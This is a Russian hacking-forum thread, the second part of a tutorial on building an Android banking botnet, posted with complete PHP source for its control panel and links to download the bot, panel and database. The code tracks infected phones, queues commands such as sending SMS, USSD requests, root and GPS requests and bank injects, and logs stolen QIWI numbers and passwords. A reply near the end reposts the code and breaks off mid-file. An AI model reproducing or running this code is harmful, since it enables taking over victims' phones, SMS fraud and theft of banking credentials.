Пишем свой Android BOTНЕТ с нуля ПРОДОЛЖЕНИЕ

danhhhik

Заблокированные
Статус
offline
Регистрация
07.06.2016
Сообщения
190
Репутация
193
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
Ссылка на первую часть КЛИК


Приступим, время PHP. "Админка написана на PHP 7, подключение к БД через PDO"

.htaccess
Код:
AddDefaultCharset utf-8
AddCharset utf-8 *
<IfModule mod_charset.c>
   CharsetSourceEnc utf-8
   CharsetDefault utf-8
</IfModule>
index.php
Код:
<html>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

<head >
<title>by maza-in</title>
<link href="styles/index.css" rel="stylesheet"/>
<link href="styles/btn.css" rel="stylesheet"/>
<link href="styles/modul_form.css" rel="stylesheet"/>
<link rel="stylesheet" href="styles/style.css"/>
<link href="styles/modul_form_log.css" rel="stylesheet"/>
<link href="styles/modul_form_set.css" rel="stylesheet"/>
<script type="text/javascript" src="js/jquery.js"></script>
<link rel="shortcut icon" href="/images/icon3.png" type="image/png"/>

<script src="js/jquery-2.1.4.min.js"></script>
<script src="js/jquery.spincrement.js"></script>
<script src="js/custom.js"></script>
<script src="js/footable.js"></script>
<script src="js/footable.min.js"></script>
</head>

<body bgcolor="1D1F24">

<?php include_once "header.php"?>
<?php

$id = $_GET['cont'];
if($id=="kliets")
{include_once "private/kliets.php";
}else
{header("Location:?cont=kliets&page=1");}
if($id == null)
{header("Location:?cont=kliets&page=1");}
?>
</body>
</html>

header.php

Код:
<div class="header">
<p><img src="images/header.jpg" width="100%" height="100px"/></p>
</div>
/private/kliets.php
Код:
<div class="content">
<table class="footable" align="center" border="1" cellspacing="0" cellpadding="0" width=100%>
<thead class="header_table_bots" >   
    <th></th>
 <th>IMEI/ID</th>
 <th>Номер</th>   
 <th>Версия<br>ОС</th>
 <th>Версия<br>apk</th>
 <th>Страна</th>
 <th>Банк</th>
 <th>Модель</th>
 <th>ROOT</th>
 <th>Экран</th>
 <th>on/off</th>
 <th>Дата<br>заражения</th>
 <th>Логи</th>
</thead>


<?php
 include 'crypt.php';
 include 'config.php';
 
 $count_id_page=0;
 $page = $_GET["page"];
 $page1 = $_GET["page"];
 $count_id = 30;
 
 if($page =="" || $page == "1")
 {
     $page=0;
 }
 else
 {
     $page = ($page*$count_id)-$count_id;
 }
    
 $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
       $connection->exec('SET NAMES utf8');       
       $sql = "SELECT * FROM kliets limit $page,$count_id";
 $booleanIMEI = false;
  
 
 //*****Обработка запросa Для удаления!
 if(isset($_POST["delete"]))
 {
     if (preg_match("/checks/",print_r($_POST,true)))
     {
   foreach($_POST["checks"] as $id)
   {
       $id_del = explode(":", $id);
       $sql2 = "DELETE FROM kliets WHERE id='".$id_del[0]."'";
       $connection->query($sql2);
   }
     }
   header ("Location: index.php?cont=kliets&page=$page1");
 }
 
 if(isset($_POST["add_commands"]))//вызываем модальную форму!
 {
     if (preg_match("/checks/",print_r($_POST,true)))
     {
   foreach($_POST["checks"] as $imei)
   {
       echo "<script>";
     echo "$(document).ready(function(){"; 
         echo "$('#parent_modal').css({'display':'block'});";
     echo "});";
       echo "</script>";
   }
     }
 }
 
 if(isset($_POST["click_log"]))//Открываем форму логи!
 {
 
     $log_IMEI = $_POST["click_log"];
       echo "<script>";
     echo "$(document).ready(function(){"; 
         echo "$('#log_modal').css({'display':'block'});";
     echo "});";
       echo "</script>";
 }
 
 if(isset($_POST["click_set"]))//Открываем форму настроек!
 {
 
     $set_IMEI = $_POST["click_set"];
       echo "<script>";
     echo "$(document).ready(function(){"; 
         echo "$('#set_modal').css({'display':'block'});";
     echo "});";
       echo "</script>";
 }
 
 //******батоны и переменые с базы!********

    echo "<form name='callback' method='post'>";
 echo "<input type='submit'  value='Добавить команду' name='add_commands' class='submit'/>";
 echo "<input type='submit' value='Удалить' name='delete' class='submit'/>";
 echo "<input type='submit' value='Обновить' name='rrr' class='submit'/>";
 
 $count_bots = 0;
 
 foreach($connection->query($sql) as $row)
 {
     $ID = $row['id'];
     $IMEI = $row['IMEI'];
     $number = $row['number'];
     $version = $row['version'];
     $version_apk = $row['version_apk'];
     $country = $row['country'];
     $bank = $row['bank'];
     $model = $row['model'];
     $lastConnect = $row['lastConnect'];
     $firstConnect = $row['firstConnect'];
     $l_inj=$row['inj'];
     $l_bank=$row['l_bank'];
     $l_log=$row['log'];
     $root=$row['r00t'];
     $screen=$row['screen'];
     $color=$row['color'];
    
     //******Получаем иконку состояния бота, вычисляем дату****
     $arr_data_from = explode(" ", $row['lastConnect']);
     $arr_data_till = explode(" ", date('Y-m-d H:i'));
  
     $date_from = $arr_data_from[0];
     $date_till = $arr_data_till[0];
    
     $date_from = explode('-', $date_from);
     $date_till = explode('-', $date_till);
 
     $time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
     $time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
    
     $day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
     //----------Секунды!-------/
     $date1 = new \DateTime($row['lastConnect']);
     $date2 = new \DateTime(date('Y-m-d H:i'));
     $diff = $date2->diff($date1);
     // разница в секундах
     $seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
     ($diff->m * 30 * 24 * 60 * 60) +
     ($diff->d * 24 * 60 * 60) +
     ($diff->h * 60 * 60) +
     ($diff->i * 60) +
     $diff->s;
     //----------обработка состояние иконки on/off-------/
     if($day>=2)//Дни!
     {
   $img="/images/icons/kill.png";
     }
     else
     {
   if($seconds<=120)
   {$img="/images/icons/online.png";}
   else
   {$img="/images/icons/offline.png";}
     }
     //************Иконки ЛОГОВ***************************************
     if($l_inj == "1")
     {$icon_inj="/images/icons/inj_on.png";}
     else
     {$icon_inj="/images/icons/inj_off.png";}
 
     if($l_bank == "1")
     {$icon_bank="/images/icons/bank_on.png";}
     else
     {$icon_bank="/images/icons/bank_off.png";}
 
     if($l_log == "1")
     {$icon_log="/images/icons/log_on.png";}
     else
     {$icon_log="/images/icons/log_off.png";}
 
     /**/
     if($root == "1")
     {$icon_root="/images/icons/V.png";}
     else
     {$icon_root="/images/icons/X.png";}
 
     if($seconds<=120)
     {
   if($screen == "1")
   {$icon_screen="/images/icons/V.png";}
   else
   {$icon_screen="/images/icons/X.png";}
     }
     else
     {
   $icon_screen="/images/icons/X.png";
     }
     //----страны
    
     if($country == "") $country = "not";
  
     $country =  mb_strtolower($country);   
     //************Данные в таблице********************************************

     echo "<tr class='table_bots' style='color: #A4A4A4;'>";
    
     echo "
   <td><input type=checkbox name=checks[] value=$ID:$IMEI></input></td>
   <td>$IMEI</td>
   <td>$number</td>
   <td>$version</td>
   <td>$version_apk</td>
   <td><a title='$country'><img src='/images/country/$country.png' width='16px'/></a></td>
   <td>$bank</td>
   <td>$model</td>
   <td>
   <a title='root права'><img src=$icon_root width='16px'/></a>
   </td>
   <td>
   <a title='Состояние экрана'><img src=$icon_screen width='16px'/></a>
   </td>
   <td><a title='$lastConnect'><img src=$img width='16px'/></a></td>
   <td>$firstConnect</td>
   <td>
   <a title='Инжект'><img src=$icon_inj width='16px'/></a>
   <a title='Visa'><img src=$icon_bank width='16px'/></a>
      <button class='btn_log' name='click_log' value='$IMEI' title='Логи' ><img src='$icon_log' title='Логи' alt='img' width='16px' class='img_log'/></button>
   </td>
   </tr>"; 
      
 }
  echo "</form>";
 
 

 //    id  IMEI  number  version  country  bank  model  lastConnect  firstConnect
 ?>
</table>
<?php

//НОМЕРА СТРАНИЦ
       $connection->exec('SET NAMES utf8');       
       $sql2 = "SELECT * FROM kliets";
 foreach($connection->query($sql2) as $row)
 {
     $count_id_page++;   
 }
    
    $a = ceil($count_id_page/$count_id);
 echo "<center>";
 for($b=1;$b<=$a;$b++)
 {
     echo "<a style='color: #fff; font-family: Consolas;' href='index.php?cont=kliets&page=$b' style='text-decoration:none;'>$b</a>";
 }
 echo "</center>";
?>

<?php//-------------конец таблице--------------------начало----------------------Модальное окно для Добавления команд-----?>


<div id = "parent_modal">
<div id = "modal">
<a id="exit" href="index.php?cont=kliets&page=<?php echo $page1;?>" style="cursor: pointer; color: Red;" onclick="document.getElementById('parent_modal').style.display = 'none'";>X</a>
 <div class="styled-select">
 
 <form name="modal_command"  method="POST" action="/private/command_go_modul.php">
     Выбраные боты<select name="comboBox_imeis" style="color: #fff">
    
    
<?php      //--------вставляем IMEIs в текстовое поле--------

 if(isset($_POST["add_commands"]))
 {
     if (preg_match("/checks/",print_r($_POST,true)))
     {
   $t_i="";
   foreach($_POST["checks"] as $imei)
   {
       $imei_add = explode(":", $imei);
       echo "<option value='$imei_add[0]'>$imei_add[1]";
       $t_i = "$t_i:$imei_add[1]";
   }
   echo "<input type='text' value='$t_i' name='text_imei' style='visibility:hidden'/>";
     }
 }   
?>
     </select>
     Выберите команду
   <select  name="comboBox_commands" onchange="showOption(this)" style="color: #fff">
       <option value='null'>
       <option value='r_root'>Запросить root права
       <option value='sentSMS'>Отправть СМС
       <option value='startPermis'>Запрос разрешения чтения/отправки СМС(Android 6.0 и более)
   </select>

     <div  id="div_sent_sms" name="div_sent_sms" style="visibility:hidden">
     Введите номер<input type="text" name="text_number" id="styled-select" style="color: #fff; background: #1D1F24;"></input>
     Введите текст СМС<input type="text" name="text_msg" id="styled-select" style="color: #fff; background: #1D1F24;"></input>
     </div>
 </div>
    
     <script type="text/javascript">
    function showOption(el)
    {
     if(el.options[el.selectedIndex].value == "sentSMS")//отправка смс
     {
       document.getElementById("div_sent_sms").style.visibility = "visible";
     }else
     {
      document.getElementById("div_sent_sms").style.visibility = "hidden";
     }
    }
     </script>
    
     <input style="margin-top:0px;" type="submit" id="bth_add_command" value="Активировать команду" name="bth_add_command" class="submit"/>
  

<?php echo "<input type='text' value='$page1' name='ref' style='visibility:hidden'/>"; //передаем номер страницы
?>
     </form>
 </div>
</div>
</div>

<?php//--форма ЛОГ модульное окно!------rows="31" cols="158"--------?>
<div id = "log_modal">
<div id = "modal_l">
<a id="exit" href="index.php?cont=kliets&page=<?php echo $page1;?>"  style="margin-left:97%; cursor: pointer; color: Red;" onclick="document.getElementById('log_modal').style.display = 'none'";>X</a>
 <div class="styled-select">
    
     <textarea readonly name="mesage"  wrap="virtual" class="textlog">
     <?php
    
     $sql3 = "UPDATE kliets SET inj = '0', l_bank = '0', log = '0' WHERE IMEI = '$log_IMEI';";
     $connection->query($sql3);
     if (@fopen("private/logs/$log_IMEI.log", "r")){ // проверяем на существование файла
   //читаем
      $filename = "private/logs/$log_IMEI.log";
                 $handle = fopen($filename, "r");
                 $contents = fread($handle, filesize($filename));
                 fclose($handle);
                 echo "$contents";
     }
     ?></textarea>
  
 </div>
</div>
</div>

</div>

/private/tuk_tuk.php
Код:
<?php
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
include 'crypt.php';
include 'config.php';
$request = mb_substr($request, 0, mb_strlen($request));
$request =  decrypt($request,cryptKey);

$massivReq = explode(":", $request);

$IMEI = $massivReq[0];
$root = $massivReq[1];
$screen = $massivReq[2];

$screen = mb_substr($screen,0,mb_strlen($screen)-1);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$sql = "SELECT * FROM kliets WHERE IMEI='$IMEI'";
$connection->exec('SET NAMES utf8');
$booleanIMEI = false;
foreach($connection->query($sql) as $row)
{
if($row['IMEI']==$IMEI)
{
 $booleanIMEI=true;   
 break;
}
}
if($booleanIMEI == true)
{
 $sql2 = "SELECT * FROM commands";
 $data_comm = "";
 foreach($connection->query($sql2) as $row)
 {
  if($row['IMEI']==$IMEI)
 {
         $com0 = "id=";
   $com1 = $row['id'];
   $com2 = $row['command'];
   $data_comm = "$data_comm$com0$com1$com2";
 }
 }
 //Удаляем нафиг команды!
 $sql3 = "DELETE FROM commands WHERE IMEI='".$IMEI."'";
 $connection->query($sql3);
 

 //Записываем время конекта в бд и другую инфу
 $data_ = date('Y-m-d H:i');
 $sql3 = "UPDATE kliets SET lastConnect = '$data_', r00t = '$root', screen= '$screen' WHERE IMEI='".$IMEI."';";
 $connection->query($sql3);
 
      

 //отправляем статус настроек
 if(($data_comm == "")||($data_comm == " "))
 {
 $sql = "SELECT * FROM settings";
 foreach($connection->query($sql) as $row)
 {
     if($row['IMEI']==$IMEI)
     {
   if($row['state']=="1")
   {
       $data_comm="state1letsgotxt";
       $sql3 = "UPDATE settings SET state = '0' WHERE IMEI='".$IMEI."';";
       $connection->query($sql3);
   }
     }
 }
 }

 $booleanIMEI == false;
//достаем команды и отправляем!
$tag = "<tag>";
$otv = encrypt("$data_comm",cryptKey);;
$tagend = "</tag>";
echo "$tag$otv$tagend";
}
else
{//Если команды нет!
$tag = "<tag>";
$otv = encrypt("|NO|",cryptKey);
$tagend = "</tag>";
echo "$tag$otv$tagend";
}

//проверяем существует ли такой IMEI
//если существует, достаем команды которые есть и отдаем
//если не существует отдаем |NO|
//SELECT * FROM table_name WHERE (выражение) [order by field_name [desc][asc]]
?>
/private/set_data.php
Код:
<?php
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
include 'crypt.php';
include 'config.php';
$request = decrypt($request,cryptKey);


$massivReq = explode(":", $request);
$IMEI = $massivReq[0];
$phoneNumber = $massivReq[1];
$Version = $massivReq[2];
$country =$massivReq[3];
$bank = $massivReq[4];
$model = $massivReq[5];
$Version_apk = $massivReq[6];

$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM kliets WHERE IMEI='$IMEI'";

$booleanIMEI = false;
foreach($connection->query($sql) as $row)
{
if($row['IMEI']==$IMEI)
{
 $booleanIMEI=true;   
 break;
}
}
if($booleanIMEI == false)
{
$data = date('Y-m-d H:i');
$add_data = $connection->exec("REPLACE INTO kliets (IMEI,number,version,country,bank,model,lastConnect,firstConnect,version_apk)
value ('$IMEI','$phoneNumber','$Version','$country','$bank','$model','$data','$data','$Version_apk')");

//Создаем файл для ведение ЛОГов!
//$path_log = "logs/$IMEI.log";
//file_put_contents($path_log, PHP_EOL.'', FILE_APPEND);

//    id  IMEI  number  version  country  bank  model  lastConnect  firstConnect
//    echo "IMEI: $IMEI Номер: $phoneNumber Версия: $Version Страна: $country    Банк: $bank Модель:  $model";

$tag = "<tag>";
$otv = encrypt("|OK|",cryptKey);
$tagend = "</tag>";

echo "$tag$otv$tagend";
}
else
{
$tag = "<tag>";
$otv = encrypt("|NO|",cryptKey);;
$tagend = "</tag>";

echo "$tag$otv$tagend";
//echo "<tag>|NO|</tag>";
}
?>
/private/crypt.php
Код:
<?php
//*************************************
function encrypt($string, $key) //шифрование траффа логов
{   
 $str = urlencode($string);
 $ret = "";
 for($i=0; $i<mb_strlen($str); $i++)
 {
     $r1 = ord(mb_substr($str, $i, 1));
     $ret  = "$ret $r1";
 }

 for($i=0; $i<mb_strlen($key); $i++)
 {
     $ret = str_replace($i, mb_substr($key, $i, 1), $ret);
 }
 $ret = mb_substr($ret, 1, mb_strlen($ret)); //!
 return $ret;
}

function decrypt($string, $key)
{
 $ret = $string;
 $ret = mb_substr($ret, 0, mb_strlen($ret)); //!
 
 for($i=0; $i<mb_strlen($key); $i++)
 {
     $ret = str_replace(mb_substr($key, $i, 1), $i, $ret);
 }
 $massivRet = explode(" ", $ret);
 
 $ret="";
 foreach($massivRet as $massivR)
 {
     $r1 = chr($massivR);
     $ret = "$ret$r1";
 }
 $str = urldecode($ret);
 return $str;
}
?>
/private/config.php
Код:
<?php
define('SERVER' , 'localhost');
define('DB', 'database');
define('USER', 'root');
define('PASSWORD' , '123');
define('cryptKey' , 'qwe');//ключ шифрования трафика!
/private/commands.php
Код:
<div class="content">
<table align="center" class="header_table_commands" border="1" cellspacing="0" cellpadding="0" width=100%'>
<thead class="header_table_commands">   
    <th></th>
 <th>ID</th>
 <th>IMEI</th>   
 <th>Команда</th>
</thead>

<?php
 include 'config.php';
 $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
 $connection->exec('SET NAMES utf8');
       $sql = "SELECT * FROM commands";
 $booleanIMEI = false;

 //*****Обработка запросa Для удаления!
 if(isset($_POST["delete"]))
 {
     if (preg_match("/checks/",print_r($_POST,true)))
     {
   foreach($_POST["checks"] as $id)
   {
       $id_del = $id;
       $sql2 = "DELETE FROM commands WHERE id='".$id_del."'";
       $connection->query($sql2);
   }
     }
   header ('Location: /index.php?cont=commands');
 }
 
 //******батоны и переменые с базы!********
    echo "<form method='post'>";
 echo "<input type='submit' value='Удалить' name='delete' class='submit'/>";
 echo "<p id='text_command'> Команды в очереди</p>";
 
 foreach($connection->query($sql) as $row)
 {
     $ID = $row['id'];
     $IMEI = $row['IMEI'];
     $command = $row['command'];

     //************Данные в таблице********************************************
     echo "<tr class='table_bots' style='color: #A4A4A4'>
   <td><input type=checkbox name=checks[] value=$ID></input></td>
   <td>$ID</td>
   <td>$IMEI</td>
   <td>$command</td>
   </tr>";
 }
  echo "</form>";

 //    id  IMEI  command 
 ?>

</table>
</div>
/private/command_go_modul.php
Код:
<?php
  //передаем данные для выпонения команд!!!-----
 if(isset($_POST["bth_add_command"]))
 {
    
    
     if (isset($_POST['comboBox_commands']))
     {
        
   include 'config.php';
   $connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);

   $connection3->exec('SET NAMES utf8');
   $que=$_POST['comboBox_commands'];
      
   if($que == "r_root")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
      
       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "Go_P00t_request::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
     }
       }
   }

   if($que == "sentSMS")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
      
       $numb = $_POST['text_number'];
       $msg = $_POST['text_msg'];
      
       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "|command=Send SMS|number=$numb|text=$msg::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
         //echo "<script>alert('$imei $command_')</script>";
     }
       }
   }
   if($que == "startUSSD")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
      
       $ussd = $_POST['text_ussd'];
       $ussd = str_replace("*",urlencode("*"),$ussd);
       $ussd = str_replace("#",urlencode("#"),$ussd);
      
       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "|UssDg0=$ussd|endUssD::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
         //echo "<script>alert('$imei $command_')</script>";
     }
       }
   }
   if($que == "numberGO")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
      
       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "nymBePsG0::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
     }
       }
   }
     }
    
     if($que == "numberGOsendSMS")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
      
       $ussd = $_POST['text_sms_tel_book'];

       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "|telbookgotext=$ussd|endtextbook::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
         //echo "<script>alert('$imei $command_')</script>";
     }
       }
   }
  
   if($que == "startPermis")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
      
       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "Go_startPermis_request::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
     }
       }
   }
   if($que == "startGPSlocat")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
      
       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "Go_GPSlocat_request::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
     }
       }
   }
  
   if($que == "startinj")
   {
       $imeis_ = $_POST['text_imei'];
       $imeis_  = explode(':', $imeis_);
      
       $ussd = $_POST['comboBox_inj'];

       foreach($imeis_ as $imei)
       {
     if($imei !="" )
     {
         //ID=123|command=Send SMS|number=123123|text=eqweqwe
         $command_ = "|startinj=$ussd|endstartinj::";
         $add_db_commands = $connection3->exec("REPLACE INTO commands (IMEI,command)value ('$imei','$command_')");
         //echo "<script>alert('$imei $command_')</script>";
     }
       }
   }
   $page = $_POST['ref'];
  
     header ("Location: /");
 }
?>
/private/add_log.php
Код:
<?php 
include 'crypt.php';
include 'config.php';


$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);

$request = mb_substr($request, 0, mb_strlen($request));
$request =  decrypt($request,cryptKey);

$massivReq = explode("|", $request);
$IMEI_log = $massivReq[0];
$text_log = $massivReq[1];

echo "$IMEI_log $text_log";

if(($IMEI_log != "") && ($text_log != ""))
{
//Записываем ЛОГи!   
$path_log = "logs/$IMEI_log.log";   
$perehod = "\n";
$str_log = "$IMEI_log: $text_log$perehod";
file_put_contents($path_log, $str_log, FILE_APPEND);

$massiv_visa = array('visa', 'VISA','Visa','QIWI');

$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$data_ = date('Y-m-d H:i');
$sql3 = "UPDATE kliets SET lastConnect = '$data_' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);

$sql3 = "UPDATE kliets SET log = '1' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);
 
foreach($massiv_visa as $sl_visa)
{
 if (strpos($text_log, $sl_visa) == true)
 {
     $sql3 = "UPDATE kliets SET l_bank = '1' WHERE IMEI = '$IMEI_log';";
     $connection->query($sql3);
 }
}
}
?>
/private/add_inj.php
Код:
<?php 
include 'crypt.php';
include 'config.php';

$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
$request =  decrypt($request,cryptKey);

$massivReq = explode("|", $request);
$IMEI_log = $massivReq[0];
$text_log = $massivReq[1];

//КИВИ
if($text_log == "QIWI")
{
 
$user = $_POST['mob_num'];
$pass = $_POST['pass'];

$l_u = "";
$l_p = "";

if($user!="") $l_u = "Номер: $user";
if($pass!="") $l_p = "Пароль: $pass";

$text_log = "Инжект(QIWI)\n$l_u\n$l_p\n";
}

echo "HTTP: Error 12007 when connecting";

if(($IMEI_log != "") && ($text_log != ""))
{
//Записываем ЛОГи!   
$path_log = "logs/$IMEI_log.log";   
$perehod = "\n";
$str_log = "$IMEI_log: $text_log$perehod";
file_put_contents($path_log, $str_log, FILE_APPEND);

$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$data_ = date('Y-m-d H:i');
$sql3 = "UPDATE kliets SET lastConnect = '$data_' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);

$sql3 = "UPDATE kliets SET log = '1' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);
 
$sql3 = "UPDATE kliets SET  inj = '1' WHERE IMEI = '$IMEI_log';";
$connection->query($sql3);

}
?>
Форму авторизации я не делал, думаю кому надо, тот найдет решение проблемы!

Скрин админки
cbe77e5ae7ca4cc39078676bf662a918.jpg


Админку я обрезал со своего бота, скрин админки моего бота:
http://hostingkartinok.com/show-image.php?...edf8f938e06b3ea

Исходники:
Бот: https://yadi.sk/d/Go9X_wzE33z76Z пасс: qweasd
Админка: https://yadi.sk/d/ZsgNskV-33z7h6 пасс: qweasd
База mysql: https://yadi.sk/d/EuyB5s0J33zApJ пасс: qweasd
Ну вот мы и рассмотрели разработку Андроид бота, да и не только, так же один из вариантов борьбы с детектом! зы Ребят, прошу не работайте по ру!












 

Лаймер

Новичок
Статус
offline
Регистрация
09.03.2017
Сообщения
34
Репутация
2
Приложение требует рут прав?
 

Anonim001

Новичок
Статус
offline
Регистрация
04.05.2017
Сообщения
1
Репутация
0
На андроид такую админку можно сделать? Просто пк сломан, если можно то под скажите какой прогой.
 

4v3ng3r

Новичок
Статус
offline
Регистрация
25.11.2015
Сообщения
113
Репутация
13
Автор статей - maza-in. Возможно, это и есть автор темы.
 

nickgalin

Новичок
Статус
offline
Регистрация
11.05.2017
Сообщения
1
Репутация
0
Да да, читал эту статейку на эксплойте. даже пробовал. И сейчас антивирусы уже палят его.
 

jedy666

Новичок
Статус
offline
Регистрация
18.02.2017
Сообщения
35
Репутация
0
Ссылка на первую часть КЛИК


Приступим, время PHP. "Админка написана на PHP 7, подключение к БД через PDO"

.htaccess
Код:
AddDefaultCharset utf-8
AddCharset utf-8 *
<IfModule mod_charset.c>
   CharsetSourceEnc utf-8
   CharsetDefault utf-8
</IfModule>
index.php
Код:
<html>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

<head >
<title>by maza-in</title>
<link href="styles/index.css" rel="stylesheet"/>
<link href="styles/btn.css" rel="stylesheet"/>
<link href="styles/modul_form.css" rel="stylesheet"/>
<link rel="stylesheet" href="styles/style.css"/>
<link href="styles/modul_form_log.css" rel="stylesheet"/>
<link href="styles/modul_form_set.css" rel="stylesheet"/>
<script type="text/javascript" src="js/jquery.js"></script>
<link rel="shortcut icon" href="/images/icon3.png" type="image/png"/>

<script src="js/jquery-2.1.4.min.js"></script>
<script src="js/jquery.spincrement.js"></script>
<script src="js/custom.js"></script>
<script src="js/footable.js"></script>
<script src="js/footable.min.js"></script>
</head>

<body bgcolor="1D1F24">

<?php include_once "header.php"?>
<?php

$id = $_GET['cont'];
if($id=="kliets")
{include_once "private/kliets.php";
}else
{header("Location:?cont=kliets&page=1");}
if($id == null)
{header("Location:?cont=kliets&page=1");}
?>
</body>
</html>

header.php
Код:
<div class="header">
<p><img src="images/header.jpg" width="100%" height="100px"/></p>
</div>
/private/kliets.php
Код:
<div class="content">
<table class="footable" align="center" border="1" cellspacing="0" cellpadding="0" width=100%>
<thead class="header_table_bots" >  
    <th></th>
 <th>IMEI/ID</th>
 <th>Номер</th>  
 <th>Версия<br>ОС</th>
 <th>Версия<br>apk</th>
 <th>Страна</th>
 <th>Банк</th>
 <th>Модель</th>
 <th>ROOT</th>
 <th>Экран</th>
 <th>on/off</th>
 <th>Дата<br>заражения</th>
 <th>Логи</th>
</thead>


<?php
 include 'crypt.php';
 include 'config.php';
 
 $count_id_page=0;
 $page = $_GET["page"];
 $page1 = $_GET["page"];
 $count_id = 30;
 
 if($page =="" || $page == "1")
 {
     $page=0;
 }
 else
 {
     $page = ($page*$count_id)-$count_id;
 }
   
 $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
       $connection->exec('SET NAMES utf8');      
       $sql = "SELECT * FROM kliets limit $page,$count_id";
 $booleanIMEI = false;
 
 
 //*****Обработка запросa Для удаления!
 if(isset($_POST["delete"]))
 {
     if (preg_match("/checks/",print_r($_POST,true)))
     {
   foreach($_POST["checks"] as $id)
   {
       $id_del = explode(":", $id);
       $sql2 = "DELETE FROM kliets WHERE id='".$id_del[0]."'";
       $connection->query($sql2);
   }
     }
   header ("Location: index.php?cont=kliets&page=$page1");
 }
 
 if(isset($_POST["add_commands"]))//вызываем модальную форму!
 {
     if (preg_match("/checks/",print_r($_POST,true)))
     {
   foreach($_POST["checks"] as $imei)
   {
       echo "<script>";
     echo "$(document).ready(function(){";
         echo "$('#parent_modal').css({'display':'block'});";
     echo "});";
       echo "</script>";
   }
     }
 }
 
 if(isset($_POST["click_log"]))//Открываем форму логи!
 {
 
     $log_IMEI = $_POST["click_log"];
       echo "<script>";
     echo "$(document).ready(function(){";
         echo "$('#log_modal').css({'display':'block'});";
     echo "});";
       echo "</script>";
 }
 
 if(isset($_POST["click_set"]))//Открываем форму настроек!
 {
 
     $set_IMEI = $_POST["click_set"];
       echo "<script>";
     echo "$(document).ready(function(){";
         echo "$('#set_modal').css({'display':'block'});";
     echo "});";
       echo "</script>";
 }
 
 //******батоны и переменые с базы!********

    echo "<form name='callback' method='post'>";
 echo "<input type='submit'  value='Добавить команду' name='add_commands' class='submit'/>";
 echo "<input type='submit' value='Удалить' name='delete' class='submit'/>";
 echo "<input type='submit' value='Обновить' name='rrr' class='submit'/>";
 
 $count_bots = 0;
 
 foreach($connection->query($sql) as $row)
 {
     $ID = $row['id'];
     $IMEI = $row['IMEI'];
     $number = $row['number'];
     $version = $row['version'];
     $version_apk = $row['version_apk'];
     $country = $row['country'];
     $bank = $row['bank'];
     $model = $row['model'];
     $lastConnect = $row['lastConnect'];
     $firstConnect = $row['firstConnect'];
     $l_inj=$row['inj'];
     $l_bank=$row['l_bank'];
     $l_log=$row['log'];
     $root=$row['r00t'];
     $screen=$row['screen'];
     $color=$row['color'];
   
     //******Получаем иконку состояния бота, вычисляем дату****
     $arr_data_from = explode(" ", $row['lastConnect']);
     $arr_data_till = explode(" ", date('Y-m-d H:i'));
 
     $date_from = $arr_data_from[0];
     $date_till = $arr_data_till[0];
   
